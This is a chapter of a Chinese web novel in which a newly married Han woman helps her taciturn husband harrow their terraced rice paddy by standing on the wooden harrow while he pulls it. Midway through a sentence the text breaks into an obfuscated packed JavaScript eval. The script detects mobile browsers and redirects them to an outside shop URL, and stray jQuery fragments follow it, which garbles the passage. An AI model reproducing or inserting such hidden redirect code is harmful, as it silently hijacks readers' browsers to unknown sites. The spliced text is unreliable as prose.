40. 第 40 章
    刀莲生叫她跟着他一起下田去,海棠满口答应。

    海棠明白这背后是婆婆的意思。昨晚上他们母子的争执她听见了个大概。

    婆婆不想让她在家里闲待着,可是又怕分派给她家务活儿做不好,反而多的事情都整出来了。于是让她去田里折腾去,也是要叫她吃些苦头。

    下田是个出力气的活儿。但海棠宁愿跟着刀莲生上坡下田,也不愿待家里跟着婆婆和小姑子绩麻。

    再说,下田干活儿是迟早的事情。嫁到了山里人家,就要接受现实,早点学会了务农也是好事。有一天,或许她会成为刀莲生的贤内助,也好叫那个沉默寡言的男人少吃点苦头。

    从前她回乡下姥姥家,完全跟是去旅游一趟似的,做过的农活儿屈指可数,且也仅限于掰包谷、晒谷子之类很简单的农活儿。地倒是也下过,但那也只是去掰包谷,去拔菜,去摘瓜。下田里去干的活儿还真没有过。

    不过,没见过猪跑她吃过猪肉。五一劳动节,十月国庆节,经常去乡下,看见稻田里的人们犁田耙田,插秧割稻,跟刀莲生他们这里差不多的。所以,海棠并觉得下田是个多大的事儿。

    先前她滚落进梯田过,知道水田深浅。那她从娘家带来的几身衣裙肯定不适合下田去干活儿,于是转天早上起来,海棠打开衣柜,翻了条刀莲生的大筒裤穿在自己身上。

    骡子要休息两天,人却不能休息。

    之后两天,刀莲生都打算靠人工来平整秧田。

    早上天还没亮,刀家人都没起床,刀莲生便起来了,去了牲畜棚,先把木齿犁耙扛到水田里去。再回到家时,小妹莲叶已经贴好了玉米杂粮饼子,招呼他赶紧去灶屋吃饭。

    因为这段时间刀莲生下田干活儿,这是个出大气力的活儿,所以刀家的早饭时间提前了。好让刀莲生吃了早饭,有力气在田里使劲儿。

    海棠打着哈欠进了灶屋,拿水瓢舀了盆水洗脸。

    刀莲生瞄她一眼,发现有点不对劲儿,再回头仔细瞄了她一眼。

    这下看清楚她下身的确穿的是条裤子,只说那裤脚上的绣花他再熟悉不过。

    分明是自己的裤子。

    平时他穿这裤子,都会露出小腿。没想到穿在她身上,又大又长,猛一看,还以为她穿了条黑色的绣花半身裙。

    一样的裤子,穿在不同人身上,差别竟这么大。像花开千样,各有不同。

    他也是第一次觉得这条裤子还挺好看的。

    不过,到底是裤子好看,还是因为穿这裤子的人穿上好看,以至于他觉得那条质地粗糙又黑不溜秋的裤子也变好看了,他不愿深究。

    海棠上身是一件斜襟短衣,下身是条束腰大脚裤,之前不觉得,因为她常穿一身长裙。今儿这么一穿,上衣下裳分开,露出了腰,他才发现她的腰肢真细啊,可能他一只手掌就能紧控住……

    刀莲生默默转开视线,三两口把饼子吃完,出去了。

    莲叶又招呼嫂子赶紧来吃饭。

    她知道今天嫂嫂要跟哥哥下田。哥哥刚才已经出门了。嫂子动作太慢,得催着她,不然待会儿叫娘下来看见嫂子还在灶屋磨蹭,又要挨骂了。

    刀家的那个饼子不大,海棠已经吃习惯了。掰碎了塞进嘴里,灌几口面汤,合着吞下肚子去,再没有噎着过。几口匆匆吃完了,追出去。

    刀莲生没走呢,等着她的。

    海棠看他把一个笨重的石槽装进背篓里,还丢了把挽好的粗麻绳进去,然后背篓背在背上,很奇怪,正要问这是要干嘛呢,刀莲生递给她一把钉耙,“你拿这个。”

    因为钉耙是铁铸的,同样有些笨重,海棠于是像扛锄头一样扛在肩膀上。这模样,虽然没穿衣镜照一照,看一看,但是自己想象一下,也觉得挺新奇的,忍不住笑出了声,还扛着钉耙原地走来走去。

    刀莲生看见,像当初她穿上新木屐显摆一样,有点无语。

    想起木屐,他忍不住往她脚上看了眼。

    海棠没穿她的绣花鞋,穿的是木屐,为了方便下田。

    依着刀莲生的意思,出门都该打光脚的,但算了,她打不打光脚都一样,便什么也没说,领着海棠下田去了。

    到了刀家的梯田,刀莲生搁下背篓,卷起裤腿,然后扛着木齿犁耙滑下田去。

    水田里把耙放好,回身来伸出手,对海棠说:“你把背篓递给我。”

    海棠依言,抱着背篓递到他手上。

    刀莲生接过去,用粗麻绳把装了石槽的背篓吊在木齿犁耙的横木上。然后走到前面去,把木轭套在自己脖子上,两条手臂拉着连接着木轭两端的麻绳,开始了像骡子像水牛那样,拉着木齿犁耙往前走,耙起了水田。身后,留下一道近两米宽的浑水汤。

    海棠见状,忙也学着他把筒裤卷到大腿根部,正要滑下水田去,刀莲生说:“你就留在田坎上,这田我一个人能弄完。”

    海棠愣了下,然后在田坎上跟着他走,说:“两个人拉得快一些。”

    刀莲生拽着绳子拖着犁耙走得慢,一脚深,一脚浅,说:“拉得快没用。”

    “那,两个人一起拉,省力气些。”

    刀莲生有点火了,“我说了没用,你怎的不听?”

    海棠站住,看他死倔死倔的样子就生气,出言讽道:“呃,难不成你叫我来下田,就干站在田坎上看你干活儿么?我是来监督你做事的?”

    刀莲生干脆不理她了。

    海棠站着看了一阵子,大约明白了。

    水田在耙之前是犁过的,便有些地方是沟,有些淤泥翻起来成了垄。耙田的目的,就是要把沟填平了,垄铲了,田里的泥耙平成一块平面,好插秧子。

    因为那木齿犁耙全是木头做的,有些轻,刀莲生背来的石槽重量不够,于是耙过的田仍是不够平整。于是他不得不回头又用带来的那把铁耙把不太平整的地方重新耙一道。

    就因为耙轻了,所以,拉快了,反而更加耙不平田,更增加他回头重新耙一道的工夫。

    既是如此,海棠就找了块平地,盘腿在田坎上坐下来,闲得无聊,她跟刀莲生聊天。省得他光闷头做事也无聊。

    海棠先喊一声夫君。

    刀莲生停下,看她一眼。

    海棠一手手肘撑在腿上,手掌托着腮帮子,含笑说:“夫君,要是婆婆问起你,我今儿活儿干得如何,你打算怎么回答呀?”

    刀莲生露出个无语的表情,扭头往前走。

    海棠又说:“夫君,咱们要是不先对好口供,回头婆婆骂我,我可要跟你急。”

    这次他连头也不回了,充耳不闻,只闷头干他的活儿。

    时间长了,两只手拽着绳子有点酸,放下来休息,那麻绳便直接勒在了他的肩膀上。他光着膀子,肩头逐渐勒出了红痕。

    太阳出来了,金色的晨辉打在刀莲生脸上,晶莹的汗珠不住往下滚落。

    海棠出神地看着他。

    他棱角分明的黝黑的脸膛像刀削斧刻。

    宽十来米,长二十多米的水田,水从清亮慢慢变得一片浑浊。深深浅浅的水底下的沟壑,逐渐抹平,承载着那沉默的汉子满腔的希望。

    他浑身的力气像使不完似的。他祭拜,上香,许愿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341348|149096||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,一派虔诚。他像对待菩萨一样,虔诚地对待这块贫瘠的土地。

    拉着犁耙走到田的尽头,要换一行转头拉过去了。刀莲生拖着犁耙调转方向,海棠早在这头尽头等着他,她递上汗巾,他接过去擦了脸和脖子。海棠又递来陶罐,罐子里是凉白开,他接过来,仰头,咕嘟咕嘟一口气灌下去一大半罐子水。

    额头有人拿汗巾轻轻揩了两下。

    刀莲生斜眼看去。

    海棠说:“沾了些泥汤,我刚才已经给你擦干净了。”

    刀莲生把陶罐递给她。

    海棠接住,塞上木塞,抱在手里,看他拿起铁耙把耙过一遍的地方,那些不平整之处又重新弄一道。弄完了,才丢开铁耙走回来,把木轭套在后脖子上,两手拽着麻绳,拖着木齿犁耙耙起了另一片水域。

    刀家的水田该是这寨子里耙得最晚的。

    放眼上上下下那么多块水田,几乎都已经平整过了,搞得快的人家已经在插秧子了。而大部分的水田平整如镜面,就等待着秧苗下田。只有少数零星几块田也有人在耙。但人家都用的是畜生。

    海棠站起来看了看,不是水牛就是骡子,也只需要一个人,只不过在前面缓慢地拉着木耙在走的是畜生,人却站在木耙上,一手甩着皮鞭……等等!

    “夫君——”海棠再次大喊刀莲生。

    刀莲生站住,扭头静静地看向她。

    海棠快速挽起裤腿下了田朝他走过来。

    他皱起了浓眉,正要说她两句,她已经走到跟前,动作利落地伸手解开了背篓,把它抱走,搁到田坎上去。

    “你干什么?”

    “你用它还不如用我。我重些,你能省些工夫。”

    海棠就一直奇怪,那木齿犁耙上为什么要做一杆横木,她原以为是为了扛的时候方便,却原来它真正的用途是为了方便人掌控平衡。

    海棠站上木齿犁耙,双手扶着横木,笑意盈盈,“你现在再拉这耙,保证把田平得整整齐齐的。”

    刀莲生看了又看她,没说什么。耙重了,他不得不微微弓起脊背,双手紧拽着绳子,托着犁耙往前一步一顿,留下身后一道平整的田地。

    这个白得晃眼的女人似乎不甘忍受冷清的场面,她的话真多。她说:“喂,夫君,我一直很好奇,你们娶个本地媳妇,娶个你们窝尼家的女人,彩礼一般要给多少?”

    刀莲生抿紧唇,不答。

    海棠打胡乱说,“我猜十头骡子吧?对不对?”

    刀莲生一律不响,她兴致还高,干脆自说自话起来。

    “可能不光是骡子,或许还有二十只羊,三十只鸡,十头猪,是这样么?”

    “我们汉家女子婚嫁,看门第,看身份,彩礼高低不同。好的彩礼,绫罗绸缎,钗环金银不论,反正有多大家产,给多大彩礼。差的彩礼,被子鞋子针线……”

    各家各户的梯田都挨着,天放亮了之后,下田里来干活儿的寨民越来越多。

    有的男人女人还唱起了山歌儿,梯田上下一派热闹欢快的气氛。

    刀莲生木着脸拉着犁耙在前面走着,但是,却三不五时会回头往她身上瞟一眼。

    “你在看什么?”海棠终于发现了。

    刀莲生没说话,只把黑脸膛绷着。

    等到又有男人从刀家水田上下的田坎经过,都把海棠看了又看后,海棠终于明白了刀莲生在看什么了。

    等到刀莲生要转场平整另一片水域的时候,她重新站上犁耙后,默默把筒裤放下来,遮住了两条修长健美的雪白大腿。

    之后刀莲生再没有回头看过她。